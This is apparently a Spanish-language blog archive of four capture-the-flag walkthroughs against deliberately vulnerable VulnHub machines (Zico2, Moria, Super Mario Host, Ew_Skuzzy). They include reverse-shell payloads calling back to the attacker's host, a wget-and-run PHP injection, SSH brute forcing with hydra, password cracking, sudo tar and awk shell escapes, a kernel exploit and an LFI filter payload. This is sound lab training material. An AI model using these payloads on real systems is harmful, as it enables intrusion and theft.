Mostrando entradas con la etiqueta vulhub. Mostrar todas las entradas
Mostrando entradas con la etiqueta vulhub. Mostrar todas las entradas

domingo, 7 de mayo de 2023

CTF Zico2: 1 VM

 

Esta máquina tiene algunas peculiaridades no tan comunes actualmente, pero primero se lanza nmap para el escaneo de puertos.

$ sudo nmap -sV -Pn -A -O -oN zico2 192.168.2.32   
[sudo] contraseña para aka-linux:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 14:15 -05
Nmap scan report for 192.168.2.32
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 6860dec22bc616d85b88bee3cca12575 (DSA)
|   2048 50db75ba112f43c9ab14406d7fa1eee3 (RSA)
|_  256 115d55298a77d808b4009ba36193fee5 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Zico's Shop
|_http-server-header: Apache/2.2.22 (Ubuntu)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33913/udp   status
|   100024  1          39647/tcp   status
|   100024  1          43296/udp6  status
|_  100024  1          43805/tcp6  status
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Como se puede observar, solo hay 3 puertos, el 22, el 80 y el 111. Ahora se revisa el contenido que está dentro del puerto 80.


 Se inspecciona el código fuente y se encuentra este fallo, una vulnerabilidad de path traversal.


Se puede aprovechar pasándole como parámetro en el navegador "../" hasta que se encuentra una ruta, un archivo conocido (passwd). Analizando este archivo se revela que solo existen 2 usuarios root y zico.


Ahora con se escanea los directorios disponibles con gobuster
$ gobuster dir -u http://192.168.2.32:80/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.32:80/img                  (Status: 301) [Size: 310] [--> http://192.168.2.32/img/]
http://192.168.2.32:80/tools                (Status: 200) [Size: 8355]
http://192.168.2.32:80/view                 (Status: 200) [Size: 0]
http://192.168.2.32:80/css                  (Status: 301) [Size: 310] [--> http://192.168.2.32/css/]
http://192.168.2.32:80/index                (Status: 200) [Size: 7970]
http://192.168.2.32:80/js                   (Status: 301) [Size: 309] [--> http://192.168.2.32/js/]
http://192.168.2.32:80/vendor               (Status: 301) [Size: 313] [--> http://192.168.2.32/vendor/]
http://192.168.2.32:80/package              (Status: 200) [Size: 789]
http://192.168.2.32:80/LICENSE              (Status: 200) [Size: 1094]
http://192.168.2.32:80/less                 (Status: 301) [Size: 311] [--> http://192.168.2.32/less/]
http://192.168.2.32:80/server-status        (Status: 403) [Size: 293]
http://192.168.2.32:80/dbadmin              (Status: 301) [Size: 314] [--> http://192.168.2.32/dbadmin/]

Después se comprueban las rutas que se encontraron. En una de las rutas se localiza esta ruta muy interesante.


Era un panel de acceso a una base de datos, asi que se intenta con las contraseñas más comunes.


Se busca un exploit y se encuentra que permita obtener un remote infección de código. 


Se crea una base de datos con extensión .php, luego una tabla con 1 fila, ahora se ingresa una infección de código php en el campo y en valor por defecto (<?php phpinfo()?>). Como la DB muestra cuál es la ruta donde está almacenado, solo es buscarlo con en el navegador. En este caso mostrará la información de php del servidor. 


Para aprovechar la vulnerabilidad se inyecta en la tabla de la DB, un código que llamara a un servidor local para que descargue un revershell y guardarlo en la carpeta tmp.
<?php system("wget http://192.168.2.5:8000/shell.php -O /tmp/shell.php;php /tmp/shell.php");?>


Se configura la revershell con la IP y el puerto por el que va a escuchar la comunicación y se guarda como se escribió en la tabla de la DB.
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.2.5';
$port = 4567;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...


Después se habilita la escucha por el puerto establecido.
nc -lvnp 4567

 

Luego se crea el servicio que dará cuando sea llamado la shell y para finalizar se busca en el navegador la ruta de la DB.
python3 -m http.server

 

Vualá ya se tiene una shell al servidor. Para hacerlo mas comodo la navegacion se utiliza una pseudo-terminal.
python -c "import pty; pty.spawn('/bin/bash')"


Ahora se busca al usuario zico en la carpeta home, y se encuentran unas carenciales en dentro de las configuraciones de un crm.


Ahora se intenta iniciar sesión a través del servicio SSH con esas credenciales, una vez con acceso se comprueba que permisos tiene permitido hacer el usuario con SUDO.


Ahora se verifica que se puede bypasear a un usuario con mayores privilegios.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh


Ahora, con privilegios mayores, se busca el flag en el directorio de root.


Muchas gracias a @rafasantos5 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Zico2: 1

sábado, 13 de agosto de 2022

CTF Moria: 1 VM


 Esta máquina para los fanaticos de Tolkien es temática basada en LOR, asi que a disfrutarla, comenzando con el escaneo de puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN moria1 192.168.2.23                                                                                      
Starting Nmap
Nmap scan report for 192.168.2.23
Host is up (0.00072s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
|   2048 47b5ede3f9ad9688c0f283237fa3d34f (RSA)
|   256 85cda2d8bb85f60f4eae8caa7352ec63 (ECDSA)
|_  256 b1777e08b3a084f8f45df98ed585b934 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Gates of Moria
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

 

En el escaneo se descubrió tres servicios corriendo por el puerto 21,22 y 80. Ahora visitando el navegador se encontró lo siguiente.

 

Después se escaneó los directores y se encontró lo siguiente.
$ gobuster dir -u http://192.168.2.23/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.23/w                    (Status: 301) [Size: 230] [--> http://192.168.2.23/w/]


Al visitar esa ruta se encontró este directorio y siguiéndole lleva a esto.

 

Además de ese mensaje no hay otra pista para continuar, asi que refrescando la página aparece de manera random un mensaje. Asi que con Wireshark, se inicia la captura de paquetes de red.

 

Después de bastantes intentos refrescando la página aparece estos paquetes bastante inusuales, asi que podría ser la siguiente pista, lo único que no era contante era los puertos, y si había un mensaje en él.

 

Ahora se inspecciona el puerto 21, en el mensaje de bienvenida ofrece un nombre de usuario, se comprueba si el mensaje anterior es el servicio FTP.
$ ftp 192.168.2.23
Connected to 192.168.2.23.
220 Welcome Balrog!
Name (192.168.2.23:***): Balrog
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36104|).
150 Here comes the directory listing.
226 Directory send OK.

 

Al listar las carpetas, tiene ciertos permisos asi que se explora algunos directorios y seguidamente listar el contenido en el servicio remoto.
ftp> cd /
250 Directory successfully changed.
ftp> cd /var/www/html
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||25583|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.
ftp> dir
229 Entering Extended Passive Mode (|||52471|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.


Entonces en el navegador se puede visualizar lo siguiente en la ruta /QlVraKW4fbIkXau9zkAPNGzvi


Y en el código fuente esta anotación.
<!--
******
******
******
******
******
******
******
******
MD5(MD5(Password).Salt)
-->


Esto da pie para dar formato a los hash que se encontraron de esta forma, para poder crackearlo con john en un formato apropiado.

 

$john --format=dynamic_6 prisioners
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 256/256 AVX2 8x3])
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
-----------         (Balin)     
-----------          (Nain)     
-----------           (Ori)     
-----------          (Oin)     
-----------           (Dain)     
-----------          (Maeglin)     
-----------         (Thrain)     
-----------            (Telchar)     
-----------         (Fundin)  


Lo siguiente es probar estos usuarios el acceso con SSH con su respectiva contraseña. El acceso se obtiene con el usuario Ori.
$ ssh Ori@192.168.2.23
Ori@192.168.2.23's password:
-bash-4.2$ ls
poem.txt

Al ingresar, se encontró por decirlo de alguna manera, la primera.
-bash-4.2$ cat poem.txt
Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by.
PS: Moria will not fall!

 

También se encontró la carpeta .ssh, en ella un host, se hizo reviso al archivo .pub se identificó un usuario que le podría corresponderle.
-bash-4.2$ cat .ssh/id_rsa.pub
ssh-rsa AA.......AldK50EYLIu7MO9tCBGLd04UCzvZhK4b920w2igQcuvh Ori@Prison

 

Se inicia sesión ssh, pero antes de eso se cambian los permisos al archivo. Y no funciono, se probaron con varios usuarios hasta llegar a root.
-bash-4.2$ chmod 600 id_rsa
-bash-4.2$ ssh -i id_rsa root@127.0.01
Last login: Fri Apr 28 18:01:27 2017
[root@Moria ~]# whoami
root

Ahora solo es ir a abrir el archivo flag.txt, se los dejo para que lo puedan abrir y leer otro poema.
[root@Moria ~]# ls
flag.txt


Muchas gracias a @abatchy17 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Moria: 1.1

sábado, 14 de mayo de 2022

CTF Super Mario Host: 1 VM

 

Se inicia esta máquina explorando los puertos con nmap.

$ sudo nmap -sV -Pn -A -O -oN smariohost 192.168.2.22
Nmap scan report for 192.168.2.22
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 1c97c0063bcb4f6f0f658d3782c42359 (DSA)
|   2048 452dfe04bb98ed00d77b36da8fcf441c (RSA)
|   256 095c259d5c54ae8d90e3449b5ea14de0 (ECDSA)
|_  256 c9d56a3253ab8a43744b85fba0ba4052 (ED25519)
8180/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: nginx
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Como no se encontró nada en el navegador en el puerto 8180, se escanea los directorios con el flag de extensión tipo php.

$ gobuster dir -u http://192.168.2.22:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/vhosts               (Status: 200) [Size: 1364]
http://192.168.2.22:8180/server-status        (Status: 403) [Size: 215]

Se encontró un archivo de configuración que contenía una vhost, asi que se procede a añadirlo.

$ sudo vi /etc/hosts
192.168.2.22        mario.supermariohost.local

Ahora sé pasando la url http://mario.supermariohost.local:8180/ se ve un minijuego de Mario.


Se escanea de nuevo las rutas con esta nueva dirección.

$ gobuster dir -u http://mario.supermariohost.local:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/mario.php            (Status: 200) [Size: 7080]
http://mario.supermariohost.local:8180/command.php          (Status: 200) [Size: 231]
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/luigi.php            (Status: 200) [Size: 386]
http://mario.supermariohost.local:8180/server-status        (Status: 403) [Size: 215]

 

Regresando al navegador en la ruta /luigi.php.

Para conveniencia, se hizo una pequeña lista con usuarios permitidos, toad, luigi, peach, yoshi y mario. Con esta lista se creó un diccionario que se va a utilizar para forzar la entrada a servidor por el puerto SSH.

$ john --wordlist=~/Documentos/vulhub/supermarioHost_1/users --rules --stdout >psw

Ya teniendo ambos diccionarios de usuarios y contraseñas, con hidra para hacer una serie de ataques de fuerza bruta.
hydra -s 22 -L /../users -P /../psw -t 16 192.168.2.22 ssh
...
login: luigi   password: luigi1

Con las credenciales se inicia secion.

Con el comando de ayuda se desplegó una serie de comandos que al menos un es vulnerable y dar una shell.
awk 'BEGIN {system("/bin/sh")}'

 

Ahora se verifica la versión de Linux que está corriendo. Se encuentra un mensaje en la que se declara la guerra contra Luigi por el amor de la princesa.
$ cat /proc/version
Linux version 3.13.0-32-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014
 

Con este exploit, al seguir las instrucciones permitirá obtener un usuario con permisos root.
$ mv 37292 37292.c
$ gcc 37292.c -o exp
$ exp


Ahora con el usuario root, en el directorio /root se encuentra el flag en un .zip. Como no puedo descomprimirlo, se copia en /var/www/html y ahí poder descargarlo desde el navegador en la ruta http://192.168.2.22:8180/flag.zip.

Una vez descargado se utiliza a john para desencriptar él .zip.
$ zip2john flag.zip > ziphash


$ john --wordlist=~/Documentos/rockyou.txt ziphash              
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepeach       (flag.zip/flag.txt)


Se descomprime y se utiliza esta contraseña en él .zip y se encuentra lo siguiente.
$ unzip flag.zip  
Archive:  flag.zip
[flag.zip] flag.txt password:
  inflating: flag.txt  


$ cat flag.txt
Well done :D If you reached this it means you got root, congratulations.
Now, there are multiple ways to hack this machine. The goal is to get all the passwords of all the users in this machine. If you did it, then congratulations, I hope you had fun :D

Keep in touch on twitter through @mr_h4sh

Congratulations again!

mr_h4sh


Y bueno, eso es todo por esta entrada, no se continúa esta entrada con la búsqueda del siguiente flag, ya que hay un punto en el que parece que todo funciona y debería funcionar no funciona. Asi que les dejo hasta aquí, si alguien cree tener la forma de evadir esa restricción con gusto, me gustaría platicarlo.

Muchas gracias a @mr_h4sh que nos brindó esta VM. Hasta la próxima.

Vulnhub: Super Mario Host: 1



sábado, 9 de abril de 2022

CTF Ew_Skuzzy: 1 VM

 

Primero se escanea los puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN ew_skuzzy 192.168.2.14
Starting Nmap
Nmap scan report for 192.168.2.14
Host is up (0.00055s latency).
Not shown: 997 closed tcp ports (reset)
Bug in iscsi-info: no string output.
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 89c2ae12d6c5194e684a28e906bd9c19 (RSA)
|   256 f00cae3710d36da2853a77040694f80a (ECDSA)
|_  256 855b491705a0b84e76ceb263c62136e9 (ED25519)
80/tcp   open  http    nginx
|_http-title: Welcome!
3260/tcp open  iscsi?
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Se reviso en el navegador el servicio corriendo en el puerto 80


Como el escaneo de directorio no se encontro ningun directorio, o en el código fuente, se comprueba el otro servicio que correo el 3260, según un blog 

iSCSI es un protocolo de red de área de almacenamiento que define cómo se transfieren los datos entre los sistemas host y los dispositivos de almacenamiento. Permite el transporte de datos SCSI a nivel de bloque entre el iniciador iSCSI y el destino de almacenamiento a través de redes TCP/IP.

Se intenta descubrir si este servicio esta expuesto.
$ sudo iscsiadm -m discovery -t sendtargets -p 192.168.2.14:3260
192.168.2.14:3260,1 iqn.2017-02.local.skuzzy:storage.sys0


Para obtener mas información, con el siguiente comando
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260
# BEGIN RECORD
node.name = iqn.2017-02.local.skuzzy:storage.sys0
node.tpgt = 1
node.startup = manual
node.leading_login = No
iface.iscsi_ifacename = default
iface.net_ifacename = <empty>
iface.ipaddress = <empty>
iface.prefix_len = 0
iface.hwaddress = <empty>
iface.transport_name = tcp
iface.initiatorname = <empty>
iface.state = <empty>
iface.vlan_id = 0
iface.vlan_priority = 0
iface.vlan_state = <empty>
iface.iface_num = 0
iface.mtu = 0
iface.port = 0
iface.bootproto = <empty>
iface.subnet_mask = <empty>
iface.gateway = <empty>
iface.dhcp_alt_client_id_state = <empty>
iface.dhcp_alt_client_id = <empty>
iface.dhcp_dns = <empty>
iface.dhcp_learn_iqn = <empty>
iface.dhcp_req_vendor_id_state = <empty>
iface.dhcp_vendor_id_state = <empty>
iface.dhcp_vendor_id = <empty>
iface.dhcp_slp_da = <empty>
iface.fragmentation = <empty>
iface.gratuitous_arp = <empty>
iface.incoming_forwarding = <empty>
iface.tos_state = <empty>
iface.tos = 0
iface.ttl = 0
iface.delayed_ack = <empty>
iface.tcp_nagle = <empty>
iface.tcp_wsf_state = <empty>
iface.tcp_wsf = 0
iface.tcp_timer_scale = 0
iface.tcp_timestamp = <empty>
iface.redirect = <empty>
iface.def_task_mgmt_timeout = 0
iface.header_digest = <empty>
iface.data_digest = <empty>
iface.immediate_data = <empty>
iface.initial_r2t = <empty>
iface.data_seq_inorder = <empty>
iface.data_pdu_inorder = <empty>
iface.erl = 0
iface.max_receive_data_len = 0
iface.first_burst_len = 0
iface.max_outstanding_r2t = 0
iface.max_burst_len = 0
iface.chap_auth = <empty>
iface.bidi_chap = <empty>
iface.strict_login_compliance = <empty>
iface.discovery_auth = <empty>
iface.discovery_logout = <empty>
node.discovery_address = 192.168.2.14
node.discovery_port = 3260
node.discovery_type = send_targets
node.session.initial_cmdsn = 0
node.session.initial_login_retry_max = 8
node.session.xmit_thread_priority = -20
node.session.cmds_max = 128
node.session.queue_depth = 32
node.session.nr_sessions = 1
node.session.auth.authmethod = None
node.session.auth.username = <empty>
node.session.auth.password = <empty>
node.session.auth.username_in = <empty>
node.session.auth.password_in = <empty>
node.session.auth.chap_algs = MD5
node.session.timeo.replacement_timeout = 120
node.session.err_timeo.abort_timeout = 15
node.session.err_timeo.lu_reset_timeout = 30
node.session.err_timeo.tgt_reset_timeout = 30
node.session.err_timeo.host_reset_timeout = 60
node.session.iscsi.FastAbort = Yes
node.session.iscsi.InitialR2T = No
node.session.iscsi.ImmediateData = Yes
node.session.iscsi.FirstBurstLength = 262144
node.session.iscsi.MaxBurstLength = 16776192
node.session.iscsi.DefaultTime2Retain = 0
node.session.iscsi.DefaultTime2Wait = 2
node.session.iscsi.MaxConnections = 1
node.session.iscsi.MaxOutstandingR2T = 1
node.session.iscsi.ERL = 0
node.session.scan = auto
node.session.reopen_max = 0
node.conn[0].address = 192.168.2.14
node.conn[0].port = 3260
node.conn[0].startup = manual
node.conn[0].tcp.window_size = 524288
node.conn[0].tcp.type_of_service = 0
node.conn[0].timeo.logout_timeout = 15
node.conn[0].timeo.login_timeout = 15
node.conn[0].timeo.auth_timeout = 45
node.conn[0].timeo.noop_out_interval = 5
node.conn[0].timeo.noop_out_timeout = 5
node.conn[0].iscsi.MaxXmitDataSegmentLength = 0
node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144
node.conn[0].iscsi.HeaderDigest = None
node.conn[0].iscsi.DataDigest = None
node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD

 Lo siguiente es conectarse a este servicio con el flag --login
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260 --login
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.2.14,3260] successful.


 Ahora se verifica la tabla de particiones de disco.
$ sudo fdisk -l
...
Disk /dev/sdb: 1 GiB, 1073741824 bytes, 2097152 sectors
Disk model: VIRTUAL-DISK    
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Es hora de montar este disco, se crea una carpeta y se monta este disco.
# mount /dev/sdb sdb 

# ls
bobsdisk.dsk  flag1.txt  lost+found

 

Se a encontrado la primer flag
# cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{********************************327f4dd}

Let's see how you go with the next one...

 

Se tiene otro disco pues tambien se intenta montar en otra carpeta.
# mount bobsdisk.dsk ../bobs


Se comprueba los archivos de bob.
# ls
lost+found  ToAlice.csv.enc  ToAlice.eml

 

Se abre el archivo ToAlice.eml se encuentra la flag2 y un monton de pistas para lo que viene.
# cat ToAlice.eml
G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly.

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note.

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{******************************d23d3a7f}


 

Estas son algunas de las pistas

  • -md sha256
  • symmetric key crypto algorithm
  • ROCKYOU
  • 256 bit 
  • competition among crypto geeks in October 2000
  • it's all symmetric keys from here on out.
     

Lo que sigue es hacer un ataque de fuerza bruta contra el archivo encriptado, con las pistas se reduce considerablemente la cantidad de intentos. Se estraen todos los strings de 32bytes (2^8*32=256bites) de rockyou.
$ cat ../rockyou.txt | awk 'length($1)==32'> key.txt


Ahora con un pequeño script se crea que ejecute el siguiente comando y le pase una contraseña desde la lista recien creada.
pswd: supercalifragilisticoespialidoso
openssl aes-256-cbc -d -k pswd -in ToAlice.csv.enc -out ToAlice.csv -md sha2569


Despues de obtener el archivo con la contraseña correcta, se comprueba
# cat ToAlice.csv
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?


Asi pues, se escanea las nuevas rutas
$ gobuster dir -u http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/index.php            (Status: 200) [Size: 969]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/welcome.php          (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/flag.php             (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/reader.php           (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/party.php            (Status: 200) [Size: 17]
Progress: 439936 / 441122 (99.73%)

En este se encuentra con una vulnerabilidad de LFI, pero al intentar vulnerarla.

 

Pero en la ruta /c2444910794e037ebd8aaf257178c90b/?p=reader, se accede a una direccion local, al ir a esa direccion se encontro con este archivo.

 

Si no me equivoco, esas ##tags## estan funcionando y las de php estan ejecutando el print. Para acceder al archivo /flag.php gracias a este blog, se puede explotar en la parte donde hace el llamado a una url, se hace el cambio por el protocolo filter y finaliza con el archivo asi.
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
                          


 

Y pasando ese hash a base64 se obtiene esto.
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>


Al probarlo con la ruta reader.php, aparecio lo siguiente
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
        $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
            // then good luck :) But.. You have the source anyway, right? :)
        if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
        }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "<br /><br />";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) {
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}

 

Luego de improvisar un poco con el buen burpsuit, la key que se necesita es la misma flag4


Al intentar de cambiar la url a la local con un servicio web con un archivo que contiene una reverse shell, funciona hasta, pero no ejecuta el archivo, asi que descargo el archivo data.txt, y si funciono. A partir de ahi se comenzo a probar diferentes comandos para comprobar cual podia funciona, gracias a este post, se inyectar el comando correcto para que se ejecutara la shell.
##php##
print("See? Hacker proof,required!");
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");
##php##
  

Previamente dejando un puerto para escuchar, se pasa la url con la key y la ruta del archivo txt desde mi local.
$ nc -lvnp 4567

http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=reader&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=http://192.168.2.5:8000/dataall.txt

 

Y ya se tiene acceso, ahora a buscar un punto para escalar en el sistema.
www-data@skuzzy:/home/skuzzy$ find / type f -perm -04000 -ls 2>/dev/null
find / type f -perm -04000 -ls 2>/dev/null
    18326     16 -rwsr-xr-x   1 root     root        14864 Jan 18  2016 /usr/lib/policykit-1/polkit-agent-helper-1
